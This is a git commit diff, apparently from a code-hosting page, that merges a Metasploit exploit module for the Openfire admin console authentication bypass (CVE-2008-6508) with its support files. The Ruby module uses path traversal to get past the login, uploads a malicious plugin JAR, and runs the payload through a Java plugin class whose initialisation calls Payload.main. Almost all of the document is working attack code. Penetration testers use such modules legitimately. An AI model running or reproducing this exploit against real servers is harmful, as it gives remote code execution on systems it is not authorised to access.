Merge branch 'Openfire-auth-bypass' of https://github.com/h0ng10/metasploit-framework into h0ng10-Openfire-auth-bypass
commit
6ec990ed85
|
@ -0,0 +1,69 @@
|
|||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin changelog</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add changelog content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
Binary file not shown.
Binary file not shown.
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
After Width: | Height: | Size: 1021 B |
|
@ -0,0 +1,10 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<plugin>
|
||||
<class>com.example.openfire.plugin.Example</class>
|
||||
<name>PLUGINNAME</name>
|
||||
<description>PLUGINDESCRIPTION</description>
|
||||
<author>PLUGINAUTHOR</author>
|
||||
<version>1.0.0</version>
|
||||
<date>7/7/2008</date>
|
||||
<minServerVersion>3.5.0</minServerVersion>
|
||||
</plugin>
|
|
@ -0,0 +1,69 @@
|
|||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Example plugin readme</title>
|
||||
<style type="text/css">
|
||||
BODY {
|
||||
font-size : 100%;
|
||||
}
|
||||
BODY, TD, TH {
|
||||
font-family : tahoma, verdana, arial, helvetica, sans-serif;
|
||||
font-size : 0.8em;
|
||||
}
|
||||
H2 {
|
||||
font-size : 10pt;
|
||||
font-weight : bold;
|
||||
}
|
||||
A:hover {
|
||||
text-decoration : none;
|
||||
}
|
||||
H1 {
|
||||
font-family : tahoma, arial, helvetica, sans-serif;
|
||||
font-size : 1.4em;
|
||||
font-weight: bold;
|
||||
border-bottom : 1px #ccc solid;
|
||||
padding-bottom : 2px;
|
||||
}
|
||||
|
||||
TT {
|
||||
font-family : courier new;
|
||||
font-weight : bold;
|
||||
color : #060;
|
||||
}
|
||||
PRE {
|
||||
font-family : courier new;
|
||||
font-size : 100%;
|
||||
}
|
||||
.events TH {
|
||||
font-size: 8pt;
|
||||
font-family: verdana;
|
||||
font-weight: bold;
|
||||
text-align: left;
|
||||
background-color: #eee;
|
||||
border-bottom: 1px #ccc solid;
|
||||
}
|
||||
|
||||
.events .event {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.events TD {
|
||||
border-bottom: 1px #ccc dotted;
|
||||
vertical-align: top;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<h1>
|
||||
Example plugin
|
||||
</h1>
|
||||
|
||||
<h2>Todo</h2>
|
||||
|
||||
<p>
|
||||
Add readme content here
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,31 @@
|
|||
package com.example.openfire.plugin;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.TimerTask;
|
||||
|
||||
import org.jivesoftware.util.JiveGlobals;
|
||||
import org.jivesoftware.openfire.container.Plugin;
|
||||
import org.jivesoftware.openfire.container.PluginManager;
|
||||
|
||||
import org.jivesoftware.util.JiveGlobals;
|
||||
import org.jivesoftware.util.Log;
|
||||
import org.jivesoftware.util.TaskEngine;
|
||||
import metasploit.*;
|
||||
|
||||
public class Example implements Plugin {
|
||||
|
||||
public void initializePlugin(PluginManager manager, File pluginDirectory) {
|
||||
try{
|
||||
Payload.main(null);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Log.error("error", ex);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public void destroyPlugin() {
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,218 @@
|
|||
##
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Openfire Admin Console Authentication Bypass',
|
||||
'Description' => %q{
|
||||
This module exploits an authentication bypass vulnerability in the administration
|
||||
console of Openfire servers. By using this vulnerability it is possible to
|
||||
upload/execute a malicious Openfire plugin on the server.
|
||||
|
||||
Because of the file/format restrictions for Openfire plugins, it is not possible to deploy
|
||||
a Java payload, instead the native payload is stored in the changelog.html which will be
|
||||
renamed/executed by the plugin.
|
||||
|
||||
It is possible to remove the uploaded plugin after execution, however this might turn
|
||||
the server in some kind of unstable state, making re-exploitation difficult. You might want to
|
||||
do this manually.
|
||||
|
||||
This module was tested against Openfire 3.6.0a.
|
||||
},
|
||||
'Author' => [ 'Andreas Kurtz', # Vulnerability discovery
|
||||
'h0ng10', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 14774 $',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '49663' ],
|
||||
[ 'CVE', '2008-6508' ],
|
||||
[ 'BID', '32189' ],
|
||||
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ],
|
||||
],
|
||||
'DisclosureDate' => 'Nov 10 2008',
|
||||
'Privileged' => true,
|
||||
'Platform' => ['java', 'win', 'linux' ], # Others ?
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
# Java version
|
||||
#
|
||||
[ 'Java Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
}
|
||||
],
|
||||
|
||||
#
|
||||
# Platform specific targets
|
||||
#
|
||||
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9090),
|
||||
OptString.new('PATH', [ false, 'Path to the Openfire admin frontend', '/' ]),
|
||||
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)', nil ]),
|
||||
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)', nil ]),
|
||||
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)', nil ]),
|
||||
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
path = datastore['PATH'] + 'login.jsp'
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path
|
||||
}, 20)
|
||||
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
|
||||
|
||||
if versioncheck.nil? then
|
||||
print_error("Unable to detect Openfire version")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
print_status("Detected version: #{$1}.#{$2}.#{$3}")
|
||||
version = "#{$1}#{$2}#{$3}".to_i
|
||||
|
||||
return Exploit::CheckCode::Save if version > 360
|
||||
|
||||
# Just to be sure, try to access the log page
|
||||
path = datastore['PATH'] + 'setup/setup-/../../log.jsp'
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path
|
||||
}, 20)
|
||||
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
|
||||
def get_plugin_jar(plugin_name)
|
||||
files = [
|
||||
[ "logo_large.gif" ],
|
||||
[ "logo_small.gif" ],
|
||||
[ "readme.html" ],
|
||||
[ "changelog.html" ],
|
||||
[ "lib", "plugin-metasploit.jar" ]
|
||||
]
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))
|
||||
|
||||
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
|
||||
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
|
||||
|
||||
plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
|
||||
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
|
||||
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
|
||||
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
|
||||
|
||||
jar.add_file("plugin.xml", plugin_xml)
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
|
||||
plugin = get_plugin_jar(plugin_name)
|
||||
|
||||
arch = target.arch
|
||||
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
|
||||
|
||||
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
||||
|
||||
|
||||
#plugin.add_file("readme.html", exe)
|
||||
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
|
||||
plugin.build_manifest
|
||||
|
||||
|
||||
# Upload the plugin to the server
|
||||
print_status("Uploading plugin #{plugin_name} to the server")
|
||||
boundary = rand_text_alphanumeric(6)
|
||||
|
||||
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
|
||||
data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
||||
data << plugin.pack
|
||||
data << "\r\n--#{boundary}--"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['PATH'] + 'setup/setup-/../../plugin-admin.jsp?uploadplugin',
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
}
|
||||
}, 5)
|
||||
|
||||
|
||||
print_error("Warning: got no response from the upload, continuing...") if !res
|
||||
|
||||
# Sometimes the server needs some time to deploy the plugin, so we wait...
|
||||
1.upto(120) do
|
||||
break if session_created?
|
||||
select(nil, nil, nil, 0.25)
|
||||
end
|
||||
|
||||
# Delete the uploaded JAR file
|
||||
if datastore['REMOVE_PLUGIN'] then
|
||||
print_status("Try to remove plugin #{plugin_name} from the server")
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['PATH'] + "setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
||||
}
|
||||
}, 3)
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue